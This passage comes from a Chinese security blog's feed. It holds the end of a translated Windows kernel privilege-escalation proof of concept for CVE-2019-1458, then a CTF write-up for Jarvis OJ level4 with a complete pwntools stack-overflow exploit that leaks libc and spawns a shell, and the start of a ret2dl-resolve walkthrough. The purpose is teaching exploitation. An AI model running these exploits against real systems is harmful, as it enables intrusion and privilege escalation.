WS_VISIBLE, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, hInstance, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">if</span> (sploitWnd == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"[-] Failed to create SploitWnd window\n"</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"</span>);</span><br><span class="line">    NtUserMessageCall(sploitWnd, WM_CREATE, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0xE0</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Allocate memory to be used for corruption\n"</span>);</span><br><span class="line">    PVOID mem = VirtualAlloc(<span class="number">0</span>, <span class="number">0x1000</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"\tptr: %p\n"</span>, mem);</span><br><span class="line">    PBYTE byteView = (PBYTE)mem;</span><br><span class="line">    byteView[<span class="number">0x6c</span>] = <span class="number">1</span>;             <span class="comment">// use GetKeyState in xxxPaintSwitchWindow</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//pass DrawSwitchWndHilite double dereference</span></span><br><span class="line">    PVOID* ulongView = (PVOID*)mem;</span><br><span class="line">    ulongView[<span class="number">0x20</span> / <span class="keyword">sizeof</span>(PVOID)] = mem;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"</span>);</span><br><span class="line">    SetWindowLongPtr(sploitWnd, <span class="number">0</span>, (LONG_PTR)mem);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] GetLastError = %x\n"</span>, GetLastError());</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"</span>);</span><br><span class="line">    HWND switchWnd = CreateWindowEx(<span class="number">0</span>, (LPCWSTR)<span class="number">0x8003</span>, <span class="string">L""</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, hInstance, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Simulating alt key press\n"</span>);</span><br><span class="line">    BYTE keyState[<span class="number">256</span>];</span><br><span class="line">    GetKeyboardState(keyState);</span><br><span class="line">    keyState[VK_MENU] |= <span class="number">0x80</span>;</span><br><span class="line">    SetKeyboardState(keyState);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Triggering dereference of wnd-&gt;extraData by calling NtUserMessageCall second time"</span>);</span><br><span class="line">    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0x0</span>, <span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>asm.asm</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">_DATA SEGMENT</span><br><span class="line">_DATA ENDS</span><br><span class="line">_TEXT SEGMENT</span><br><span class="line"></span><br><span class="line">PUBLIC NtUserMessageCall</span><br><span class="line">NtUserMessageCall PROC</span><br><span class="line">    mov r10, rcx</span><br><span class="line">    mov eax, 1007h      ; Win7 sp1</span><br><span class="line">    syscall</span><br><span class="line">    ret</span><br><span class="line">NtUserMessageCall ENDP</span><br><span class="line">_TEXT ENDS</span><br><span class="line">END</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;strong&gt;本文翻译自： &lt;a href=&quot;https://github.com/piotrflorczyk/cve-2019-1458_POC&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/piotrflorcz
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Uninitialized Variable" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Uninitialized-Variable/"/>
    
    
      <category term="Uninitialized Variable" scheme="https://thunderjie.github.io/tags/Uninitialized-Variable/"/>
    
  </entry>
  
  <entry>
    <title>Linux Pwn Learning</title>
    <link href="https://thunderjie.github.io/2020/02/09/Linux-Pwn-Learning/"/>
    <id>https://thunderjie.github.io/2020/02/09/Linux-Pwn-Learning/</id>
    <published>2020-02-09T03:59:03.000Z</published>
    <updated>2020-05-07T03:16:22.314Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：Introduction"><a href="#0x00：Introduction" class="headerlink" title="0x00：Introduction"></a>0x00：Introduction</h1><p>本篇文章主要总结自己学习Linux Pwn的一些过程，记录了一些有意义的资料</p><h1 id="0x01：Stack-Attack"><a href="#0x01：Stack-Attack" class="headerlink" title="0x01：Stack Attack"></a>0x01：Stack Attack</h1><h2 id="0x00：DynELF"><a href="#0x00：DynELF" class="headerlink" title="0x00：DynELF"></a>0x00：DynELF</h2><p>DynELF方法适用于没有libc的情况，我们可以通过DynELF方法来实现泄露system函数的地址，那么DynELF是什么呢？在<a href="http://docs.pwntools.com/en/stable/dynelf.html?highlight=DynELF" target="_blank" rel="noopener">pwntools官方文档</a>有介绍，简单而言就是通过leak方法反复进入main函数中查询libc中的内容，其代码框架如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">p = process(<span class="string">'./xxx'</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(address)</span>:</span></span><br><span class="line">  payload = <span class="string">"xxxxxxxx"</span> + address + <span class="string">"xxxxxxxx"</span></span><br><span class="line">  p.send(payload)</span><br><span class="line">  data = p.recv(<span class="number">4</span>)</span><br><span class="line">  log.debug(<span class="string">"%#x =&gt; %s"</span> % (address, (data <span class="keyword">or</span> <span class="string">''</span>).encode(<span class="string">'hex'</span>))) <span class="comment">#打印搜索的信息</span></span><br><span class="line">  <span class="keyword">return</span> data</span><br><span class="line">d = DynELF(leak, elf=ELF(<span class="string">"./xxx"</span>)) <span class="comment">#初始化DynELF模块</span></span><br><span class="line">systemAddress = d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>) <span class="comment">#在libc文件中搜索system函数的地址</span></span><br></pre></td></tr></table></figure><p>我们通过一道题来深入了解这个方法</p><h3 id="0x01：Jarvis-Oj-level4"><a href="#0x01：Jarvis-Oj-level4" class="headerlink" title="0x01：Jarvis Oj-level4"></a>0x01：Jarvis Oj-level4</h3><p><strong>题目链接</strong></p><p><a href="https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0" target="_blank" rel="noopener">https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0</a></p><p><strong>解题思路</strong></p><p> 我们先检测一些保护机制</p>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">  root@Thunder_J-virtual-machine:~/桌面# checksec level4</span><br><span class="line">[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled #堆栈不可执行</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure><p>用IDA查看一下主函数内容</p><p><strong>main()</strong></p><p>如果是做了前面level0-3的朋友应该对这里非常熟悉，逻辑非常简单，我们进vulnerable_function()函数内看一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  vulnerable_function();</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">"Hello, World!\n"</span>, <span class="number">0xE</span>u);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>vulnerable_function()</strong></p><p>很明显这里出现栈溢出，read函数读取0x100的内容，双击buf可以看到buf只有0x88+0x4的大小，所以我们可以构造栈溢出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ssize_t</span> vulnerable_function()</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+0h] [ebp-88h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, &amp;buf, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>第一次构造</strong></p><p>既然我们清楚是栈溢出，我们就需要多多观察程序内的信息，有没有system，’/bin/sh’等关键的内容，然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息，那这里就需要用到上面提及的DynELF的方法了，我们通过objdump查看函数信息：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">root@Thunder_J-virtual-machine:~/桌面# objdump -R level4</span><br><span class="line"></span><br><span class="line">level4：     文件格式 elf32-i386</span><br><span class="line"></span><br><span class="line">DYNAMIC RELOCATION RECORDS</span><br><span class="line">OFFSET   TYPE              VALUE </span><br><span class="line">08049ffc R_386_GLOB_DAT    __gmon_start__</span><br><span class="line">0804a00c R_386_JUMP_SLOT   read@GLIBC_2.0</span><br><span class="line">0804a010 R_386_JUMP_SLOT   __gmon_start__</span><br><span class="line">0804a014 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0</span><br><span class="line">0804a018 R_386_JUMP_SLOT   write@GLIBC_2.0</span><br></pre></td></tr></table></figure><p>我们看到有read和write函数，其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了，因为我们可以通过栈溢出覆盖返回地址执行，因此我们第一次构造调用write函数泄露libc中system的地址</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(addr)</span>:</span></span><br><span class="line">    write_plt = p32(<span class="number">0x08048340</span>)</span><br><span class="line">    fun_addr = p32(<span class="number">0x0804844b</span>)</span><br><span class="line">    payload = <span class="string">'a'</span> * (<span class="number">0x88</span> + <span class="number">0x4</span>) + write_plt + fun_addr + p32(<span class="number">1</span>) + p32(addr) + p32(<span class="number">4</span>) <span class="comment">#write(1, addr, 4);</span></span><br><span class="line">    r.send(payload)</span><br><span class="line">    leaked = r.recv(<span class="number">4</span>)</span><br><span class="line">    <span class="keyword">return</span> leaked</span><br><span class="line"> </span><br><span class="line">d = DynELF(leak, elf=ELF(<span class="string">"./level4"</span>))</span><br><span class="line">system_addr = d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>)</span><br></pre></td></tr></table></figure><p><strong>第二次构造</strong></p><p>我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了，那么去哪里写入呢？当然是.bss段，我们通过readelf的方法查看程序的.bss段：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">root@Thunder_J-virtual-machine:~/桌面# readelf -S level4</span><br><span class="line">There are 30 section headers, starting at offset 0x1844:</span><br><span class="line"></span><br><span class="line">节头：</span><br><span class="line">  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al</span><br><span class="line">  [ 0]                   NULL            00000000 000000 000000 00      0   0  0</span><br><span class="line">  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1</span><br><span class="line">  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4</span><br><span class="line">  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4</span><br><span class="line">  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4</span><br><span class="line">  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4</span><br><span class="line">  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1</span><br><span class="line">  [ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A  5   0  2</span><br><span class="line">  [ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A  6   1  4</span><br><span class="line">  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4</span><br><span class="line">  [10] .rel.plt          REL             080482b0 0002b0 000020 08  AI  5  12  4</span><br><span class="line">  [11] .init             PROGBITS        080482d0 0002d0 000023 00  AX  0   0  4</span><br><span class="line">  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16</span><br><span class="line">  [13] .text             PROGBITS        08048350 000350 0001c2 00  AX  0   0 16</span><br><span class="line">  [14] .fini             PROGBITS        08048514 000514 000014 00  AX  0   0  4</span><br><span class="line">  [15] .rodata           PROGBITS        08048528 000528 000017 00   A  0   0  4</span><br><span class="line">  [16] .eh_frame_hdr     PROGBITS        08048540 000540 000034 00   A  0   0  4</span><br><span class="line">  [17] .eh_frame         PROGBITS        08048574 000574 0000ec 00   A  0   0  4</span><br><span class="line">  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4</span><br><span class="line">  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4</span><br><span class="line">  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4</span><br><span class="line">  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4</span><br><span class="line">  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4</span><br><span class="line">  [23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4</span><br><span class="line">  [24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4</span><br><span class="line">  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1</span><br><span class="line">  [26] .comment          PROGBITS        00000000 001024 000052 01  MS  0   0  1</span><br><span class="line">  [27] .shstrtab         STRTAB          00000000 001076 000106 00      0   0  1</span><br><span class="line">  [28] .symtab           SYMTAB          00000000 00117c 000450 10     29  45  4</span><br><span class="line">  [29] .strtab           STRTAB          00000000 0015cc 000276 00      0   0  1</span><br><span class="line">Key to Flags:</span><br><span class="line">  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),</span><br><span class="line">  L (link order), O (extra OS processing required), G (group), T (TLS),</span><br><span class="line">  C (compressed), x (unknown), o (OS specific), E (exclude),</span><br><span class="line">  p (processor specific)</span><br></pre></td></tr></table></figure><p>根据上面的数据我们选中.bss段的地址开始第二次构造，在.bss段中写入’/bin/sh’字符串</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">data_addr = <span class="number">0x0804A024</span> <span class="comment"># readelf -S level4</span></span><br><span class="line"></span><br><span class="line">read_plt = p32(<span class="number">0x08048310</span>)</span><br><span class="line">fun_addr = p32(<span class="number">0x0804844b</span>)</span><br><span class="line">payload = <span class="string">'a'</span> * (<span class="number">0x88</span> + <span class="number">0x4</span>) + read_plt + fun_addr + p32(<span class="number">0</span>) + p32(data_addr) + p32(<span class="number">8</span>)</span><br><span class="line">r.send(payload)</span><br><span class="line"></span><br><span class="line">r.send(<span class="string">"/bin/sh\x00"</span>)</span><br></pre></td></tr></table></figure><p><strong>第三次构造</strong></p><p>准备工作做完了当然最后一步就是getshell了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">'a'</span> * (<span class="number">0x88</span> + <span class="number">0x4</span>) + p32(system_addr) + <span class="string">'aaaa'</span> + p32(data_addr)</span><br><span class="line">r.send(payload)</span><br></pre></td></tr></table></figure><h3 id="0x02：exp"><a href="#0x02：exp" class="headerlink" title="0x02：exp"></a>0x02：exp</h3><p>总结一下上面的步骤</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"> </span><br><span class="line">r = remote(<span class="string">"pwn2.jarvisoj.com"</span>, <span class="number">9880</span>)</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(addr)</span>:</span></span><br><span class="line">    write_plt = p32(<span class="number">0x08048340</span>)</span><br><span class="line">    fun_addr = p32(<span class="number">0x0804844b</span>)</span><br><span class="line">    buf = p32(addr)</span><br><span class="line">    payload = <span class="string">'a'</span> * (<span class="number">0x88</span> + <span class="number">0x4</span>) + write_plt + fun_addr + p32(<span class="number">1</span>) + buf + p32(<span class="number">4</span>)</span><br><span class="line">    r.send(payload)</span><br><span class="line">    leaked = r.recv(<span class="number">4</span>)</span><br><span class="line">    <span class="keyword">return</span> leaked</span><br><span class="line"> </span><br><span class="line">d = DynELF(leak, elf=ELF(<span class="string">"./level4"</span>))</span><br><span class="line">system_addr = d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>)</span><br><span class="line"> </span><br><span class="line">data_addr = <span class="number">0x0804A024</span> <span class="comment"># readelf -S level4</span></span><br><span class="line"></span><br><span class="line">read_plt = p32(<span class="number">0x08048310</span>)</span><br><span class="line">fun_addr = p32(<span class="number">0x0804844b</span>)</span><br><span class="line">payload = <span class="string">'a'</span> * (<span class="number">0x88</span> + <span class="number">0x4</span>) + read_plt + fun_addr + p32(<span class="number">0</span>) + p32(data_addr) + p32(<span class="number">8</span>)</span><br><span class="line">r.send(payload)</span><br><span class="line"></span><br><span class="line">r.send(<span class="string">"/bin/sh\x00"</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">'a'</span> * (<span class="number">0x88</span> + <span class="number">0x4</span>) + p32(system_addr) + <span class="string">'aaaa'</span> + p32(data_addr)</span><br><span class="line">r.send(payload)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h3 id="0x03：总结"><a href="#0x03：总结" class="headerlink" title="0x03：总结"></a>0x03：总结</h3><p>没有做过level0-3的建议做一下在做level4，每个题目收获都会有所不同</p><p><strong>参考链接</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://www.anquanke.com/post/id/85129</span><br><span class="line">https://blog.csdn.net/smalosnail/article/details/53386353</span><br></pre></td></tr></table></figure><h2 id="0x01：Ret2dl-resovle"><a href="#0x01：Ret2dl-resovle" class="headerlink" title="0x01：Ret2dl-resovle"></a>0x01：Ret2dl-resovle</h2><p>ret2dl-resovle这种技术在pwn中的运用也挺多的，可以类比Windows下的IAT技术进行学习，了解这个技术之前，我们需要知道ELF文件中各个函数的加载过程，下面就演示一下GOT表是如何加载的，首先我们编译一个简单的程序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Hello Pwn\n"</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"welcome\n"</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;<span class="comment">//gcc -m32 -fno-stack-protector -no-pie -s helloworld.c</span></span><br></pre></td></tr></table></figure><p>我们在puts函数下一个断点，观察是如何调用这个函数的</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line">thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ gdb a.out</span><br><span class="line">...</span><br><span class="line">pwndbg&gt; b *0x080482e0</span><br><span class="line">Breakpoint 1 at 0x80482e0</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">Starting program: /home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out </span><br><span class="line"></span><br><span class="line">Breakpoint 1, 0x080482e0 <span class="keyword">in</span> puts@plt ()</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> EAX  0x8048500 ◂— dec    eax /* <span class="string">'Hello Pwn\n'</span> */</span><br><span class="line"> EBX  0x804a000 —▸ 0x8049f14 ◂— 0x1</span><br><span class="line"> ECX  0xffffd140 ◂— 0x1</span><br><span class="line"> EDX  0xffffd164 ◂— 0x0</span><br><span class="line"> EDI  0x0</span><br><span class="line"> ESI  0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c</span><br><span class="line"> EBP  0xffffd128 ◂— 0x0</span><br><span class="line"> ESP  0xffffd10c —▸ 0x804844f ◂— add    esp, 0x10</span><br><span class="line"> EIP  0x80482e0 (puts@plt) ◂— jmp    dword ptr [0x804a00c]</span><br><span class="line">──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> ► 0x80482e0  &lt;puts@plt&gt;                  jmp    dword ptr [0x804a00c]</span><br><span class="line"> </span><br><span class="line">   0x80482e6  &lt;puts@plt+6&gt;                push   0</span><br><span class="line">   0x80482eb  &lt;puts@plt+11&gt;               jmp    0x80482d0</span><br><span class="line">    ↓</span><br><span class="line">   0x80482d0                              push   dword ptr [0x804a004]</span><br><span class="line">   0x80482d6                              jmp    dword ptr [0x804a008] &lt;0xf7fead80&gt;</span><br><span class="line">    ↓</span><br><span class="line">   0xf7fead80 &lt;_dl_runtime_resolve&gt;       push   eax</span><br><span class="line">   0xf7fead81 &lt;_dl_runtime_resolve+1&gt;     push   ecx</span><br><span class="line">   0xf7fead82 &lt;_dl_runtime_resolve+2&gt;     push   edx</span><br><span class="line">   0xf7fead83 &lt;_dl_runtime_resolve+3&gt;     mov    edx, dword ptr [esp + 0x10]</span><br><span class="line">   0xf7fead87 &lt;_dl_runtime_resolve+7&gt;     mov    eax, dword ptr [esp + 0xc]</span><br><span class="line">   0xf7fead8b &lt;_dl_runtime_resolve+11&gt;    call   _dl_fixup &lt;0xf7fe4f30&gt;</span><br><span class="line">──────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd10c —▸ 0x804844f ◂— add    esp, 0x10</span><br><span class="line">01:0004│      0xffffd110 —▸ 0x8048500 ◂— dec    eax /* <span class="string">'Hello Pwn\n'</span> */</span><br><span class="line">02:0008│      0xffffd114 —▸ 0xffffd1d4 —▸ 0xffffd385 ◂— <span class="string">'/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'</span></span><br><span class="line">03:000c│      0xffffd118 —▸ 0xffffd1dc —▸ 0xffffd3b8 ◂— <span class="string">'QT_DBL_CLICK_DIST=15'</span></span><br><span class="line">04:0010│      0xffffd11c —▸ 0x804843a ◂— add    ebx, 0x1bc6</span><br><span class="line">05:0014│      0xffffd120 —▸ 0xffffd140 ◂— 0x1</span><br><span class="line">06:0018│      0xffffd124 ◂— 0x0</span><br><span class="line">... ↓</span><br><span class="line">────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> ► f 0  80482e0 puts@plt</span><br><span class="line">   f 1  804844f</span><br><span class="line">   f 2 f7deee81 __libc_start_main+241</span><br><span class="line">Breakpoint *0x80482e0</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">Continuing.</span><br><span class="line">Hello Pwn</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Breakpoint 1, 0x080482e0 <span class="keyword">in</span> puts@plt ()</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span 